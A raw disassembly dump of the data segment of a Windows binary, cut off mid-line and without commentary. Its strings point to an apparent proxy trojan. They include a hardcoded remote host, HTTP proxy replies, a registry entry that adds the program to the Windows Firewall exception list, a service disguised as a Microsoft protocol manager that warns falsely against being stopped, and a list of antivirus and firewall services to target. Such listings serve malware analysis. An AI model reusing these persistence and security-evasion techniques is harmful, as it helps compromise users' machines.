280028h, 200028h ; DATA XREF: seg001:00411184o ; seg001:00410DA0o dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h dd 0 dword_40DFB0 dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0 aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: seg001:0041122Co aMmDdYy db 'MM/dd/yy',0 ; DATA XREF: seg001:00411228o align 4 aPm db 'PM',0 ; DATA XREF: seg001:00411224o align 10h aAm db 'AM',0 ; DATA XREF: seg001:00411220o align 4 aDecember db 'December',0 ; DATA XREF: seg001:0041121Co align 10h aNovember db 'November',0 ; DATA XREF: seg001:00411218o align 4 aOctober db 'October',0 ; DATA XREF: seg001:00411214o aSeptember db 'September',0 ; DATA XREF: seg001:00411210o align 10h aAugust db 'August',0 ; DATA XREF: seg001:0041120Co align 4 aJuly db 'July',0 ; DATA XREF: seg001:00411208o align 10h aJune db 'June',0 ; DATA XREF: seg001:00411204o align 4 aApril db 'April',0 ; DATA XREF: seg001:004111FCo align 10h aMarch db 'March',0 ; DATA XREF: seg001:004111F8o align 4 aFebruary db 'February',0 ; DATA XREF: seg001:004111F4o align 4 aJanuary db 'January',0 ; DATA XREF: seg001:004111F0o aDec db 'Dec',0 ; DATA XREF: seg001:004111ECo aNov db 'Nov',0 ; DATA XREF: seg001:004111E8o aOct db 'Oct',0 ; DATA XREF: seg001:004111E4o aSep db 'Sep',0 ; DATA XREF: seg001:004111E0o aAug db 'Aug',0 ; DATA XREF: seg001:004111DCo aJul db 'Jul',0 ; DATA XREF: seg001:004111D8o aJun db 'Jun',0 ; DATA XREF: seg001:004111D4o aMay db 'May',0 ; DATA XREF: seg001:004111D0o ; seg001:00411200o aApr db 'Apr',0 ; DATA XREF: seg001:004111CCo aMar db 'Mar',0 ; DATA XREF: seg001:004111C8o aFeb db 'Feb',0 ; DATA XREF: seg001:004111C4o aJan db 'Jan',0 ; DATA XREF: seg001:004111C0o aSaturday db 'Saturday',0 ; DATA XREF: seg001:004111BCo align 4 aFriday db 'Friday',0 ; DATA XREF: seg001:004111B8o align 10h aThursday db 'Thursday',0 ; DATA XREF: seg001:004111B4o align 4 aWednesday db 'Wednesday',0 ; DATA XREF: seg001:004111B0o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: seg001:004111ACo aMonday db 'Monday',0 ; DATA XREF: seg001:004111A8o align 4 aSunday db 'Sunday',0 ; DATA XREF: seg001:004111A4o align 10h aSat db 'Sat',0 ; DATA XREF: seg001:004111A0o aFri db 'Fri',0 ; DATA XREF: seg001:0041119Co aThu db 'Thu',0 ; DATA XREF: seg001:00411198o aWed db 'Wed',0 ; DATA XREF: seg001:00411194o aTue db 'Tue',0 ; DATA XREF: seg001:00411190o aMon db 'Mon',0 ; DATA XREF: seg001:0041118Co aSun db 'Sun',0 ; DATA XREF: seg001:off_411188o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aConout db 'CONOUT$',0 ; DATA XREF: sub_40C1B5+Eo align 8 unicode 0, <H>,0 dd 0Eh dup(0) dd offset dword_410440 dd offset dword_40E470 dd 3 dword_40E470 dd 4650h, 7EC8h, 0AC34h, 0 ; DATA XREF: seg001:0040E468o dword_40E480 dd 2 dup(0) ; DATA XREF: sub_40758F+2o ; sub_40758F+7o dword_40E488 dd 2 dup(0) ; DATA XREF: sub_4075B3+2o ; sub_4075B3+7o dword_40E490 dd 1F4Ch, 0 ; DATA XREF: sub_402040+14o dd 0FFFFFD9Ch, 0 dd 0FFFFFFFEh, 402E24h, 402E2Dh, 0 dword_40E4B0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_403AC8+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_403B0E align 10h dword_40E4D0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40405A+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_4040B0 align 10h dword_40E4F0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_4043DD+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset loc_4044A7 align 10h dword_40E510 dd 0FFFFFFFEh, 0 ; DATA XREF: seg001:00404B9Do dd 0FFFFFF80h, 0 dd 0FFFFFFFEh, 404D62h, 404D66h, 0FFFFFFFEh, 404D28h, 404D3Ch dword_40E538 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40505E+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_405118 align 8 dword_40E558 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_4063B2+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_406468 align 8 dword_40E578 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_406500+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 0 dd offset sub_406609 dd 0FFFFFFFEh, 0 dd offset sub_406615 dword_40E5A0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_407541+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_407577 align 10h dword_40E5C0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_407680+5o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 407709h, 40771Dh, 0 dword_40E5E0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40773B+2o dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 40775Bh, 40775Fh, 0 dword_40E600 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40793E+2o dd 0FFFFFFC0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_407AAC align 10h dword_40E620 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_407B1C+2o db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 407BA2h, 407BB9h, 0 dword_40E640 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_408199+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_408231 align 10h dword_40E660 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_408490+2o db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 0 dd offset sub_4085F1 align 10h dword_40E680 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_4088D8+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_408942 align 10h dword_40E6A0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_409047+2o dd 0FFFFFF8Ch, 0 dd 0FFFFFFFEh, 409270h, 409274h, 0 dword_40E6C0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_409A8C+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 409AA9h, 409AC5h, 0 dword_40E6E0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_409CCB+2o db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 0 dd offset sub_409DDA align 10h dword_40E700 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40A3AA+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40A47C align 10h dword_40E720 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40A965+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40A9F7 align 10h dword_40E740 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40B684+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40B77B align 10h dword_40E760 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40B7A2+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40B8E0 align 10h dword_40E780 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40BAAF+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40BB41 align 10h dword_40E7A0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40BD5D+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40BDF3 align 10h dword_40E7C0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40BEA0+2o db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 0 dd offset sub_40BF71 dd 2 dup(0) dd offset sub_40BF3D dword_40E7E8 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40C273+2o dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40C2E4 align 8 dword_40E808 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40C2EF+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40C3C6 align 8 dword_40E828 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40C4C5+2o dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40C588 off_40E844 dd offset dword_40D04C ; DATA XREF: seg002:0041CFB0o ; --------------------------------------------------------------------------- retn 40ECh ; --------------------------------------------------------------------------- align 4 dd offset dword_40D1CC dd offset aWs2_32_dll ; "WS2_32.dll" dd offset dword_40D000 dd offset word_40EE46 dd offset dword_40D1C4 dd offset aPsapi_dll ; "PSAPI.DLL" dd 2 dup(0) dd 0E8A8h, 4 dup(0) dd 0EA6Ch, 7Ch dup(0) dd 80000073h, 80000011h, 80000014h, 80000003h, 80000010h dd 80000013h, 80000001h, 8000000Dh, 8000000Ah, 80000004h dd 8000006Fh, 80000009h, 80000015h, 80000002h, 80000012h dd 80000097h, 8000000Bh, 80000034h, 80000017h, 0 dd 6C530000h, 706565h, 69570000h, 6578456Eh, 63h, 4D746547h dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 72430000h, 65746165h dd 65726854h, 6461h, 65470000h, 72754374h, 746E6572h, 636F7250h dd 49737365h, 64h, 74697845h, 636F7250h, 737365h, 6C430000h dd 4865736Fh, 6C646E61h, 65h, 61657243h, 72506574h, 7365636Fh dd 4173h, 6F430000h, 69467970h, 41656Ch, 72430000h, 65746165h dd 65726944h, 726F7463h, 4179h, 65530000h, 72754374h, 746E6572h dd 65726944h, 726F7463h, 4179h, 65440000h, 6574656Ch, 656C6946h dd 41h, 636F7250h, 33737365h, 78654E32h, 74h, 74696157h dd 53726F46h, 6C676E69h, 6A624F65h, 746365h, 65540000h dd 6E696D72h, 50657461h, 65636F72h, 7373h, 704F0000h, 72506E65h dd 7365636Fh, 73h, 636F7250h, 33737365h, 72694632h, 7473h dd 72430000h, 65746165h, 6C6F6F54h, 706C6568h, 6E533233h dd 68737061h, 746Fh, 65520000h, 65766F6Dh, 65726944h, 726F7463h dd 4179h, 69460000h, 6C43646Eh, 65736Fh, 65470000h, 73614C74h dd 72724574h, 726Fh, 65470000h, 6C694674h, 74744165h, 75626972h dd 41736574h, 0 aFindnextfilea db 'FindNextFileA',0 align 4 aFindfirstfilea db 'FindFirstFileA',0 align 4 dd 65470000h, 6E695774h, 73776F64h, 65726944h, 726F7463h dd 4179h, 6F4C0000h, 466C6163h, 656572h, 6F4C0000h, 416C6163h dd 636F6C6Ch, 0 aLstrcpyna db 'lstrcpynA',0 align 4 aCreatemutexa db 'CreateMutexA',0 align 4 aSeterrormode db 'SetErrorMode',0 align 2 aKernel32_dll_1 db 'KERNEL32.dll',0 align 10h aWs2_32_dll db 'WS2_32.dll',0 ; DATA XREF: seg001:0040E850o align 4 dd 65520000h, 6F6C4367h, 654B6573h, 79h, 53676552h, 61567465h dd 4565756Ch, 4178h, 65520000h, 65704F67h, 79654B6Eh, 417845h dd 75510000h, 53797265h, 69767265h, 6F436563h, 6769666Eh dd 41h, 656C6544h, 65536574h, 63697672h, 65h, 746E6F43h dd 536C6F72h, 69767265h, 6563h, 68430000h, 65676E61h, 76726553h dd 43656369h, 69666E6Fh, 4167h, 704F0000h, 65536E65h, 63697672h dd 4165h, 6C430000h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 0 aOpenscmanagera db 'OpenSCManagerA',0 align 4 dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 51676552h dd 79726575h, 756C6156h, 41784565h, 0 aStartservicea db 'StartServiceA',0 align 4 aChangeservicec db 'ChangeServiceConfig2A',0 align 4 aCreateservicea db 'CreateServiceA',0 align 4 db 0 align 2 aSetservicestat db 'SetServiceStatus',0 align 4 db 0 align 2 aRegisterservic db 'RegisterServiceCtrlHandlerExA',0 dd 74530000h, 53747261h, 69767265h, 74436563h, 69446C72h dd 74617073h, 72656863h db 41h, 0 word_40EE46 dw 4441h ; DATA XREF: seg001:0040E858o db 56h ; V db 41h, 50h, 49h db 33h ; 3 db 32h, 2Eh, 64h db 6Ch ; l db 6Ch, 2 dup(0) db 0 align 2 aGetmodulefilen db 'GetModuleFileNameExA',0 align 4 aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: seg001:0040E860o align 4 aHeapalloc db 'HeapAlloc',0 align 4 aHeapfree db 'HeapFree',0 align 10h aGetprocaddress db 'GetProcAddress',0 align 10h dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470000h dd 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h, 69737265h dd 78456E6Fh, 41h, 50746547h, 65636F72h, 65487373h, 7061h dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 43746547h dd 65727275h, 7250746Eh, 7365636Fh, 73h, 61686E55h, 656C646Eh dd 63784564h, 69747065h, 69466E6Fh, 7265746Ch, 0 aSetunhandledex db 'SetUnhandledExceptionFilter',0 dd 73490000h, 75626544h, 72656767h, 73657250h, 746E65h dd 65440000h, 6574656Ch, 74697243h, 6C616369h, 74636553h dd 6E6F69h, 654C0000h, 43657661h, 69746972h, 536C6163h dd 69746365h, 6E6Fh, 6E450000h, 43726574h, 69746972h, 536C6163h dd 69746365h, 6E6Fh, 69560000h, 61757472h, 6572466Ch, 65h dd 74726956h, 416C6175h, 636F6C6Ch, 0 aHeaprealloc db 'HeapReAlloc',0 dd 65480000h, 65447061h, 6F727473h, 79h, 70616548h, 61657243h dd 6574h, 72570000h, 46657469h, 656C69h, 65470000h, 64745374h dd 646E6148h, 656Ch, 6C540000h, 74654773h, 756C6156h, 65h dd 41736C54h, 636F6C6Ch, 0 aTlssetvalue db 'TlsSetValue',0 dd 6C540000h, 65724673h, 65h, 65746E49h, 636F6C72h, 4964656Bh dd 6572636Eh, 746E656Dh, 0 aSetlasterror db 'SetLastError',0 align 4 aGetcurrentthre db 'GetCurrentThreadId',0 align 4 dd 6E490000h, 6C726574h, 656B636Fh, 63654464h, 656D6572h dd 746Eh, 65470000h, 73795374h, 546D6574h, 41656D69h, 6C694673h dd 6D695465h, 65h, 64616F4Ch, 7262694Ch, 41797261h, 0 aInitializecr_0 db 'InitializeCriticalSection',0 align 4 aRtlunwind db 'RtlUnwind',0 align 4 aGetcpinfo db 'GetCPInfo',0 align 10h aGetacp db 'GetACP',0 align 4 dd 65470000h, 4D454F74h, 5043h, 73490000h, 696C6156h, 646F4364h dd 67615065h, 65h, 65657246h, 69766E45h, 6D6E6F72h, 53746E65h dd 6E697274h, 417367h, 65470000h, 766E4574h, 6E6F7269h dd 746E656Dh, 69727453h, 73676Eh, 72460000h, 6E456565h dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 57h, 65646957h dd 72616843h, 754D6F54h, 4269746Ch, 657479h, 65470000h dd 766E4574h, 6E6F7269h, 746E656Dh, 69727453h, 5773676Eh dd 0 aSethandlecount db 'SetHandleCount',0 align 4 dd 65470000h, 6C694674h, 70795465h, 65h, 72657551h, 72655079h dd 6D726F66h, 65636E61h, 6E756F43h, 726574h, 65470000h dd 63695474h, 756F436Bh, 746Eh, 65530000h, 6C694674h, 696F5065h dd 7265746Eh, 0 aGetconsolecp db 'GetConsoleCP',0 align 10h aGetconsolemode db 'GetConsoleMode',0 align 10h dd 65480000h, 69537061h, 657Ah, 754D0000h, 4269746Ch, 54657479h dd 6469576Fh, 61684365h, 72h, 4C746547h, 6C61636Fh, 666E4965h dd 416Fh, 434C0000h, 5370614Dh, 6E697274h, 4167h, 434C0000h dd 5370614Dh, 6E697274h, 5767h, 65470000h, 72745374h, 54676E69h dd 41657079h, 0 aGetstringtypew db 'GetStringTypeW',0 align 4 dd 65530000h, 64745374h, 646E6148h, 656Ch, 72570000h, 43657469h dd 6F736E6Fh, 41656Ch, 65470000h, 6E6F4374h, 656C6F73h dd 7074754Fh, 50437475h, 0 aWriteconsolew db 'WriteConsoleW',0 align 10h aCreatefilea db 'CreateFileA',0 dd 6C460000h, 46687375h, 42656C69h, 65666675h, 7372h, 344h dup(0) aInvalidInstanc db 'Invalid instance or socket',0 ; DATA XREF: seg001:00401008o align 4 aOperationSucce db 'Operation Success',0 ; DATA XREF: seg001:loc_40101Do align 10h aUnableToResolv db 'Unable to resolve',0 ; DATA XREF: seg001:loc_401023o align 4 aUnableToConnec db 'Unable to connect',0 ; DATA XREF: seg001:loc_401029o align 4 aUnableToCreate db 'Unable to create socket',0 ; DATA XREF: seg001:loc_40102Fo aUnableToBindSo db 'Unable to bind socket',0 ; DATA XREF: seg001:loc_401035o align 4 aPortIsInUse db 'Port is in use',0 ; DATA XREF: seg001:loc_40103Bo align 4 aOperationPendi db 'Operation pending',0 ; DATA XREF: seg001:loc_401041o align 4 aUnknown db 'Unknown',0 ; DATA XREF: seg001:loc_401047o aHost238_hl556_ db 'host238.hl556.com',0 ; DATA XREF: sub_401E40+29o align 4 aD db '%d',0 ; DATA XREF: sub_401E40+4Bo align 4 aHttp db 'http://',0 ; DATA XREF: sub_402040+3E9o aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_402040+94Ao aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_402040+A9Do aHttp1_0201Unab db 'HTTP/1.0 201 Unable to connect',0Dh,0Ah ; DATA XREF: sub_402040+CF1o db 'Proxy-agent: MSP/1.0',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: sub_402040+C38o db 'Proxy-agent: MSP/1.0',0Dh,0Ah db 0Dh,0Ah,0 align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' ; DATA XREF: sub_402E60+1Fo db 'lPolicy\StandardProfile\AuthorizedApplications\List',0 align 10h aMicrosoftRWind db 'Microsoft (R) Windows Protocol Deployment Manager',0 ; DATA XREF: sub_402E60+47o align 4 aSEnabledS db '%s:*:Enabled:%s',0 ; DATA XREF: sub_402E60+54o aSS db '%s\%s',0 ; DATA XREF: sub_402F20+3Bo align 4 aS db '%s\*',0 ; DATA XREF: sub_403150+1Fo align 4 aSS_0 db '%s\%s',0 ; DATA XREF: sub_403150+81o align 4 aSWinsockServic db '%s\winsock\services.exe',0 ; DATA XREF: seg001:004032A8o aWinsock db 'winsock',0 ; DATA XREF: seg001:0040350Eo aWindowsProtoco db 'Windows Protocol Deployment Manager',0 ; DATA XREF: sub_403540+65o aProvidesImplem db 'Provides implementation support for third party network protocols' ; DATA XREF: sub_403540+B2o db '. Stopping or disabling this service will result in system insta' db 'bility.',0 align 4 aPdm_0 db 'PDM',0 ; DATA XREF: seg001:00403808o aCaisafe db 'CAISafe',0 ; DATA XREF: sub_4036D0o aUmxcfg db 'UmxCfg',0 ; DATA XREF: sub_4036D0+Ao align 10h aUmxagent db 'UmxAgent',0 ; DATA XREF: sub_4036D0+14o align 4 aKpf4 db 'KPF4',0 ; DATA XREF: sub_4036D0+1Eo align 4 aWebrootfirewal db 'WebrootFirewall',0 ; DATA XREF: sub_4036D0+28o aWinroute db 'WinRoute',0 ; DATA XREF: sub_4036D0+32o align 10h aAvgfwsrv db 'AVGFwSrv',0 ; DATA XREF: sub_4036D0+3Co align 4 aAvg7alrt db 'Avg7Alrt',0 ; DATA XREF: sub_4036D0+46o align 4 aOutpostfirewal db 'OutpostFirewall',0 ; DATA XREF: sub_4036D0+50o aLavasoftfirewa db 'LavasoftFirewall',0 ; DATA XREF: sub_4036D0+5Ao align 4 aMpfservice db 'MpfService',0 ; DATA XREF: sub_4036D0+64o align 4 aVsmon db 'vsmon',0 ; DATA XREF: sub_4036D0+6Eo align 10h aNpfmntor db 'NPFMntor',0 ; DATA XREF: sub_4036D0+78o align 4 aCcevtmgr db 'ccEvtMgr',0 ; DATA XREF: sub_4036D0+82o align 4 aCcproxy db 'ccProxy',0 ; DATA XREF: sub_4036D0+8Co aCclspwdsvc db 'cclSPwdSvc',0 ; DATA XREF: sub_4036D0+96o align 4 aSpbbcsvc db 'SPBBCSvc',0 ; DATA XREF: sub_4036D0+A3o align 4 aWsas db 'wsas',0 ; DATA XREF: sub_403780o align 10h aNlc db 'nlc',0 ; DATA XREF: sub_403780+Ao aNsms db 'nsms',0 ; DATA XREF: sub_403780+14o align 4 aNtrcs db 'ntrcs',0 ; DATA XREF: sub_403780+1Eo align 4 aVistaruntimesv db 'VistaRuntimeSvc',0 ; DATA XREF: sub_403780+28o aPdm db 'PDM',0 ; DATA XREF: sub_403780+32o aWpdm_class_ db 'WPDM_Class_',0 ; DATA XREF: seg001:004037C0o ; seg001:0040386Co aSSystem32 db '%s\system32',0 ; DATA XREF: sub_4038C0+4Co aPdm_exe db 'pdm.exe',0 ; DATA XREF: sub_4038C0+7Do aPdm_1 db 'PDM',0 ; DATA XREF: sub_4038C0+AEo aPdm_2 db 'PDM',0 aPdm_3 db 'PDM',0 ; DATA XREF: sub_4038C0+D5o aPdm_4 db 'PDM',0 ; DATA XREF: sub_4038C0+FBo aPdm_5 db 'PDM',0 ; DATA XREF: sub_4038C0:loc_4039C7o align 10h dword_410440 dd 0CFBDE447h ; DATA XREF: seg001:00401393r ; sub_401E40+6r ... dword_410444 dd 30421BB8h ; DATA XREF: sub_4060E5+AEr ; sub_409287+29w ... dword_410448 dd 1 ; DATA XREF: sub_403F54:loc_403F5Ar dword_41044C dd 16h ; DATA XREF: sub_403F54:loc_403F75r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_4105B0 dd 0Ch ; DATA XREF: sub_403F8F+9o dword_4105B4 dd 8, 2 dup(0) ; DATA XREF: sub_403FA2+9o off_4105C0 dd offset sub_4044D0 ; DATA XREF: sub_40422F+Er ; sub_4044FF+45w align 10h dword_4105D0 dd 2 ; DATA XREF: sub_405D62+42r ; sub_405F02+19r ... align 10h off_4105E0 dd offset dword_411428 ; DATA XREF: sub_404FAB:loc_404FE8w ; sub_404FF4+8o ... dword_4105E4 dd 1 ; DATA XREF: sub_404FAB:loc_404FB4r dd offset dword_411440 dd 1, 2 dup(0) dd offset dword_411458 dd 1, 411470h, 1, 2 dup(0) dd offset dword_411488 dd 1, 4114A0h, 1, 4114B8h, 1, 2 dup(0) dd offset dword_4114D0 dd 1, 2 dup(0) dd offset dword_4114E8 dd 1, 411500h, 1, 411518h, 1, 2 dup(0) dd offset dword_411530 dd 1, 411548h, 1, 411560h, 1, 22h dup(0) dword_410700 dd 10h, 0 ; DATA XREF: sub_404FF4+2Ao ; sub_404FF4+4Ao dword_410708 dd 2 ; DATA XREF: sub_405D62:loc_405D6Er off_41070C dd offset aR6002FloatingP ; DATA XREF: sub_405D62:loc_405E92r ; "R6002\r\n- floating point support not loa"... dd 8, 40D77Ch, 9, 40D750h, 0Ah, 40D6B8h, 10h, 40D68Ch dd 11h, 40D65Ch, 12h, 40D638h, 13h, 40D60Ch, 18h, 40D5D4h dd 19h, 40D5ACh, 1Ah, 40D574h, 1Bh, 40D53Ch, 1Ch, 40D514h dd 1Eh, 40D4F4h, 1Fh, 40D490h, 20h, 40D458h, 21h, 40D360h dd 22h, 40D2C0h, 78h, 40D2B0h, 79h, 40D2A0h, 7Ah, 40D290h dd 0FCh, 40D28Ch, 0FFh, 40D27Ch dword_4107C0 dd 3 ; DATA XREF: sub_406255+13r ; sub_4062CC+13r ... dword_4107C4 dd 2 ; DATA XREF: sub_406255+1r ; sub_406255+1Er ... off_4107C8 dd offset aNull_0 ; DATA XREF: sub_406AC5:loc_406FB3r ; sub_406AC5+7E6r ; "(null)" off_4107CC dd offset aNull ; DATA XREF: sub_406AC5+433r ; "(null)" off_4107D0 dd offset sub_40AA08 ; DATA XREF: sub_4075D7:loc_4075DBr dd offset sub_40AA08 dd offset sub_40AA08 dd offset sub_40AA08 dd offset sub_40AA08 dd offset sub_40AA08 off_4107E8 dd offset sub_40AA08 ; DATA XREF: sub_406AC5+61Ar dd offset sub_40AA08 off_4107F0 dd offset 